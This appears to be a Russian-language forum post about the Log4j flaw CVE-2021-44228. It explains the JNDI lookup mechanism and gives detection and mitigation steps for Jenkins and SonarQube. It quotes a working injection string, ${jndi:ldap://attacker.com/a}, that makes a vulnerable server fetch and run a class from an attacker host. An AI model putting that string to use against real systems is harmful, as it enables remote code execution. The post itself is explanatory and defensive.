Сейчас пол интернета раком стоит из-за этого. Там такая уязвимость которую может заюзать даже смекалистый школьник.
Жаль, что тема Путина так и не раскрыта в этой новости (надеюсь автор в коментариях исправится), но плюсую… для IT новость актуальна.
Уязвимость в библиотеке Log4j в экосистеме Java
(https://blog.silverbulleters.org/content/images/size/w1000/2021/12/image.png)Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как Jenkins и SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228 (https://nvd.nist.gov/vuln/detail/CVE-2021-44228), исходящей от библиотеки Log4j версии 2.
Проблема вызвана тем, что Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}, при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения (информация взята из источника).
Как себя обезопасить?????
⚙️Jenkins
В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в Консоль сценариев (Настроить Jenkins -> Управление средами сборки -> узел master или built-in -> Консоль сценариев) и выполнить скрипт:
org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource
Если выполнение скрипта привело к ошибке вида groovy.lang.MissingPropertyException: No such property: org for class: Script1, то библиотека Log4j2 в плагинах не используется.
Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.
Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228 (https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/).
⚙️SonarQube
Что касается сервиса SonarQube, то библиотека используется только в модуле ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить -Dlog4j2.formatMsgNoLookups=true.
В конфигурационном файле sonar.properties нужно добавить или изменить настройку sonar.search.javaAdditionalOpts, например:
sonar.search.javaAdditionalOpts=-Dlog4j2.formatMsgNoLookups=true
Или через переменную среды в системе, контейнере и т.п:
SONAR_SEARCH_JAVAADDITIONALOPTS=-Dlog4j2.formatMsgNoLookups=true
После указания настройки нужно перезапустить сервис SonarQube.
Официальный источник информации: SonarQube and the Log4J vulnerability (https://community.sonarsource.com/t/sonarqube-and-the-log4j-vulnerability/54721).
Вумные же, давно перешли на logback